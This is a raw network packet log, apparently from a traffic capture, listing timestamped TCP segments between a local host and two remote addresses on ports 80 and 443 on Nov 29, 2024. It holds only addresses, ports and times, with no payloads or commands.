Nov 29, 2024 19:49:48.725632906 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.725641012 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.725688934 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.725883007 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.725924969 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.725946903 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.725994110 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.727072954 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.727125883 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.727148056 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.727196932 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.728183031 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.728236914 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.728250027 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.728286028 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.729278088 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.729331017 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.729425907 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.729475021 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.730375051 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.730427027 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.730428934 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.730473042 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.731481075 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.731533051 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.731580019 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.731633902 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.732577085 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.732625008 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.732628107 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.732669115 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.733674049 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.733721972 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.733788013 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.733836889 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.734855890 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.734900951 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.734941006 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.734987974 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.735941887 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.735999107 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.736028910 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.736072063 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.737073898 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.737128019 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.737164021 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.737210035 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.738188028 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.738240957 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.738332987 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.738380909 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.739303112 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.739353895 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.739420891 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.739463091 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.740550041 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.740601063 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.740665913 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.740711927 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.741493940 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.741544008 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.741605043 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.741656065 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.742664099 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.742714882 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.742773056 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.742826939 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.743725061 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.743774891 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.743895054 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.743932009 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.744867086 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.744914055 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.744999886 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.745057106 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.745956898 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.746025085 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.746072054 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.746123075 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.747045994 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.747088909 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.747162104 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.747208118 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.748259068 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.748272896 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.748372078 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.749315977 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.749366045 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.749558926 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.749615908 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.750416994 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.750468969 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.750535011 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.750576019 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.751558065 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.751616001 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.751629114 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.751674891 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.752672911 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.752722025 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.752866983 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.752914906 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.753788948 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.753839016 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.753859997 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.753907919 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.754890919 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.754945040 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.754962921 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.755013943 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.755979061 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.756027937 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.756061077 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.756104946 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.757159948 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.757208109 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.757215023 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.757260084 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.758217096 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.758277893 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.758397102 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.758440018 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.759341955 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.759397984 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.759443998 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.759546995 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.760540009 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.760596991 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.760623932 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.760673046 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.761564016 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.761624098 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.761687040 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.761734962 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.762679100 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.762734890 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.794106960 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.794166088 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.794225931 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.794269085 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.794672012 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.794708014 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.794718981 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.794745922 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.795768023 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.795828104 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.795885086 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.795934916 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.796827078 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.796870947 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.796940088 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.796983957 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.798202991 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.798238993 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.798250914 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.798273087 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.799101114 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.799151897 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.799242020 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.799287081 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.800184965 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.800235033 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.800319910 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.800360918 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.801318884 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.801367998 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.801395893 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.801436901 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.802442074 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.802488089 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.802556038 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.802603960 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.803525925 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.803580999 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.803584099 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.803621054 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.858449936 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.858504057 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.858593941 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.859024048 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.859050035 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.859075069 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.859102964 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.860160112 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.860253096 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.860312939 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.861243010 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.861289024 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.861342907 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.861386061 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.862353086 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.862394094 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.862504959 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.862544060 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.863452911 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.863596916 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.863640070 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.864598989 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.864649057 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.864685059 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.864728928 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.865758896 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.865781069 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.865804911 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.865818977 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.866839886 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.866883039 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.866920948 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.867461920 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.867954969 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.868006945 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.868035078 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.868045092 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.926589966 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.926821947 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.926918030 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.927165031 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.927227974 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.927237988 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.927282095 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.927283049 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.928337097 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.928405046 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.928473949 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.929172993 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.929234982 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.929284096 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.929351091 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.930439949 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.930500984 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.930602074 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.930674076 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.931556940 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.931643963 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.931710958 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.932512999 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.932585955 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.932619095 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.932717085 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.933540106 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.933696985 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.933754921 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.934607983 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.934669971 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.934705019 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.934752941 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.935760975 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.935883999 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.935919046 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.935940027 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.936805964 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.936899900 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.936950922 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.937956095 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.938045979 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.938183069 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.938235998 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.939060926 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:48.939135075 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.972927094 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:48.976290941 CET	443	49794	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:48.979959011 CET	49794	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:48.979979992 CET	443	49794	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:48.980473042 CET	49794	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:48.980478048 CET	443	49794	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:49.042557955 CET	443	49795	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:49.043766022 CET	49795	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:49.043797970 CET	443	49795	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:49.044337034 CET	49795	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:49.044342995 CET	443	49795	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:49.092247963 CET	443	49793	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:49.092895031 CET	49793	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:49.092910051 CET	443	49793	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:49.093019962 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.093532085 CET	49793	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:49.093538046 CET	443	49793	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:49.411608934 CET	443	49794	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:49.411679029 CET	443	49794	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:49.411781073 CET	49794	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:49.412060022 CET	49794	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:49.412079096 CET	443	49794	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:49.412089109 CET	49794	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:49.412095070 CET	443	49794	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:49.415620089 CET	49798	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:49.415653944 CET	443	49798	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:49.415738106 CET	49798	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:49.415932894 CET	49798	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:49.415951967 CET	443	49798	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:49.431360006 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.431407928 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.431477070 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.431477070 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.431545973 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.431634903 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.431700945 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.432735920 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.432905912 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.432972908 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.433804989 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.433864117 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.433866024 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.433931112 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.434900999 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.435007095 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.435025930 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.435098886 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.436013937 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.436064959 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.436095953 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.436146021 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.437186956 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.437242985 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.437362909 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.437433958 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.438246965 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.438321114 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.438333988 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.438436031 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.439390898 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.439465046 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.439481020 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.439519882 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.440481901 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.440538883 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.440561056 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.440618038 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.441584110 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.441648006 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.441716909 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.441761971 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.442717075 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.442802906 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.442832947 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.442889929 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.443864107 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.443913937 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.443979979 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.444061041 CET	49772	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:49.444933891 CET	80	49772	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:49.445000887 CET	49772	80	192.168.2.5	185.215.113.206
